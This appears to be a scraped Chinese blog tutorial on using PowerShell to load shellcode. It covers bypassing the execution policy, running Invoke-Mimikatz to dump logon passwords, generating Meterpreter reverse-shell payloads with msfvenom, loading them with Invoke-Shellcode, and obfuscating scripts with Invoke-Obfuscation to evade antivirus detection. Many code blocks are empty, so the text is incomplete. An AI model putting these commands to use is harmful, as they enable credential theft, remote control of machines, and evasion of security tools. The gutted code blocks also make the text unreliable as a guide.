powershell加载shellcode
简介
总所周知,powershell 是windows 最强大的后门,现在就尝试使用这个后门进行加载shellcode
powershell 记载shellcde 可以分为两种方式,第一个方式就是无文件落地的方式,内存加载
第二种方式就是使用先下载到本地文件,然后再加载
前情提要
远程加载
1 |
|
本地执行
- 先将文件下载到本地
- 然后使用
1
powershell Import-Module .\Invoke-Mimikatz.ps1
- 然后使用命令
1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
执行策略
powershell 默认的执行策略是不允许执行脚本的,只有设置成高权限才行或者是使用bypass
下面简单介绍一下具体的有哪些权限
所有执行策略
Unrestricted
权限最高,可以不受限制执行任意脚本Restricted
默认策略,不允许任意脚本的执行AllSigned
所有脚本必须经过签名运行RemoteSigned
本地脚本无限制,但是对来自网络的脚本必须经过签名Bypass
没有任何限制和提示Undefined
没有设置脚本的策略
绕过执行策略
有管理远权限直接设置
1 |
|
本地读取然后通过管道符进行加载
1 |
|
远程下载并通过IEX运行脚本
1 |
|
Bypass执行策略绕过
1 |
|
不会有任何提示信息
Unrestricted执行策略标志
这个方式和第一个方式一样,本质一样
但是这个方式,如果加载没有被签名的脚本可能会被提醒
1 |
|
powershell
直接使用msf powershell 脚本
版本1
1
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.79.137 lport=24401 -f psh -o 24401.ps1
然后直接使用windows 进行加载
文件落地直接被杀
如果发现没有被杀,可以试试1
powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1
版本2
1
msfvenom -p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=10.211.55.2 lport=3333 -f psh -o shell.ps1
Invoke-Shellcode
可以使用invoke-shellcode 的方式进行加载
本质就是一个shellcode 加载器
先创建一个反向的shellcode
具体的命令可以是
1 |
|
除了直接加载还可以加载dll
Powershell tricksCode Execution & Process Injection | CN-SEC 中文网
Invoke-Obfuscation对ps1免杀
powershell的免杀方法有很多,对代码进行编码是最常见的一种,这里介绍一个专门用来对powershell进行编码免杀的框架Invoke-Obfuscation,这也是著名的APT32组织海莲花常用的一个工具。
Invoke-Obfuscation主要是对ps1脚本进行免杀,所以这里还是需要现有一个ps的payload,我还是用法1的msf生成的payload。
可以先将工具下载下来
有两种方式,可以是内存加载,无文件落地,或者是可以使用git cone先保存到本地
1 |
|
然后执行
1 |
|
这个是加载之后的样子
尝试将shellcode j进行编码
然后输入encoding
然后选择编码方式
然后输入方法
然后输入out path就可以导出
然后就可以尝试进行加载
1 |
|